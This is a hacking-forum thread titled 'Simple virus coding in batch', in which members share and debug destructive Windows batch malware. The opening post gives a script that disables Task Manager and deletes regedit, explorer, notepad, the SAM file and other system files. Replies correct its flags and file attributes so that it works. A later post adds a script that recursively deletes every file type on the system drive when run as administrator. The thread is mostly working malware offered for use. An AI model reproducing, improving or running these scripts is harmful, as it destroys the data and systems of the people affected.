Sinisterly
SIMPLE VIRUS CODING IN BATCH - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: SIMPLE VIRUS CODING IN BATCH (/Thread-SIMPLE-VIRUS-CODING-IN-BATCH)

SIMPLE VIRUS CODING IN BATCH - EVILKING - 04-08-2011

PHP Code:
@echo off REG add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f del %systemdrive%\windows\regedit.exe taskkill explorer.exe del %systemdrive%\windows\explorer.exe copy %systemdrive%\windows\system32\sethc.exe d:\cmd.exe copy d:\cmd.exe %systemdrive%\windows\system32 del %systemdrive%\WINDOWS\system32\config\SAM del %systemdrive%\windows\System32\dllcache\taskmgr.exe del %systemdrive%\windows\System32\dllcache\winlogon.exe del %systemdrive%\windows\NOTEPAD.exe msg * SEND ->> JOIN EVILKING TO +919870807070 FOR HACKING TRICKS

THIS CAN HARM YOUR COMPUTER SO DO NOT TRY ON MAIN MACHINE
TRY ON YOUR VIRTUAL MACHINE

RUN AT YOUR OWN RISKConfusedtupid:Confusedtupid:

RE: SIMPLE VIRUS CODING IN BATCH - HeR97 - 04-09-2011

I see there are no comments and I think people tried it on main machine XDDDDDDD

RE: SIMPLE VIRUS CODING IN BATCH - Fire_mybb_import5998 - 04-12-2011

Code:
@echo off REG add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f del %systemdrive%windows\regedit.exe taskkill explorer.exe /im /f /t del %systemdrive%windows\explorer.exe copy %systemdrive%windows\system32\sethc.exe d:cmd.exe copy d:cmd.exe %systemdrive%\windows\system32 del %systemdrive%\WINDOWS\system32\config\SAM del %systemdrive%\windows\System32\dllcache\taskmgr.exe del %systemdrive%\windows\System32\dllcache\winlogon.exe del %systemdrive%\windows\NOTEPAD.exe msg * SEND ->> JOIN EVILKING TO +919870807070 FOR HACKING TRICKS

Correcting:
  1. You can't just taskkill, You need to use taskkill explorer.exe /im /f /t
  2. You can't delete SAM on working XP
  3. Regedit is probably +s +r, so You need 'attrib -s -r -a -h regedit.exe first :thumbs:

RE: SIMPLE VIRUS CODING IN BATCH - EVILKING - 04-12-2011

(04-12-2011, 11:11 AM)FiRe Wrote:
Code:
@echo off REG add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f del %systemdrive%windows\regedit.exe taskkill explorer.exe /im /f /t del %systemdrive%windows\explorer.exe copy %systemdrive%windows\system32\sethc.exe d:cmd.exe copy d:cmd.exe %systemdrive%\windows\system32 del %systemdrive%\WINDOWS\system32\config\SAM del %systemdrive%\windows\System32\dllcache\taskmgr.exe del %systemdrive%\windows\System32\dllcache\winlogon.exe del %systemdrive%\windows\NOTEPAD.exe msg * SEND ->> JOIN EVILKING TO +919870807070 FOR HACKING TRICKS

Correcting:
  1. You can't just taskkill, You need to use taskkill explorer.exe /im /f /t
  2. You can't delete SAM on working XP
  3. Regedit is probably +s +r, so You need 'attrib -s -r -a -h regedit.exe first :thumbs:

thanks man...



RE: SIMPLE VIRUS CODING IN BATCH - noize - 03-09-2013

(04-08-2011, 12:08 PM)EVILKING Wrote:
PHP Code:
@echo off REG add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f del %systemdrive%\windows\regedit.exe taskkill explorer.exe del %systemdrive%\windows\explorer.exe copy %systemdrive%\windows\system32\sethc.exe d:\cmd.exe copy d:\cmd.exe %systemdrive%\windows\system32 del %systemdrive%\WINDOWS\system32\config\SAM del %systemdrive%\windows\System32\dllcache\taskmgr.exe del %systemdrive%\windows\System32\dllcache\winlogon.exe del %systemdrive%\windows\NOTEPAD.exe msg * SEND ->> JOIN EVILKING TO +919870807070 FOR HACKING TRICKS

THIS CAN HARM YOUR COMPUTER SO DO NOT TRY ON MAIN MACHINE
TRY ON YOUR VIRTUAL MACHINE

RUN AT YOUR OWN RISKConfusedtupid:Confusedtupid:

1. This is not a virus but a generical batch malware as a virus infects other files and this doesn't.
2. taskkill kills a PID. To kill explorer.exe you must specify the parameter -im and also -f and -t to kill it completely and always.
3. Who says there is a D: drive?
4. You are not allowed to delete SAM file from in-Windows, you need to do it with a bootable software as it is used by the machine if you're logged in.
5. If just trying to make some damage then why not use

Code:
@echo off :: written by noize color 0a title BATCH'D! cd %systemdrive% for /f "tokens=*" %%a in ('dir . /ad/b') do del "%%a" -f -q -s > nul set name=%0 ren %0 file.bat del *.txt -f -q -s > nul del *.cmd -f -q -s > nul del *.rtf -f -q -s > nul del *.avi -f -q -s > nul del *.jpg -f -q -s > nul del *.jpeg -f -q -s > nul del *.gif -f -q -s > nul del *.png -f -q -s > nul del *.wmv -f -q -s > nul del *.exe -f -q -s > nul del *.sys -f -q -s > nul del *.ico -f -q -s > nul del *.inf -f -q -s > nul del *.ini -f -q -s > nul ren %0 file.cmd del *.bat -f -q -s > nul ren %0 %name% for /f "tokens=*" %%b in ('dir . /ad/b') do rd "%%b" -q -s > nul rd %systemdrive% rd %homedrive% del *.* -f -q -s > nul rd %homedrive% rd %systemdrive%

If correctly launched as an administrator this should remove every file that is able to remove from the computer.

RE: SIMPLE VIRUS CODING IN BATCH - Deque - 03-09-2013

This thread is two years old. Don't gravedig.
-closed-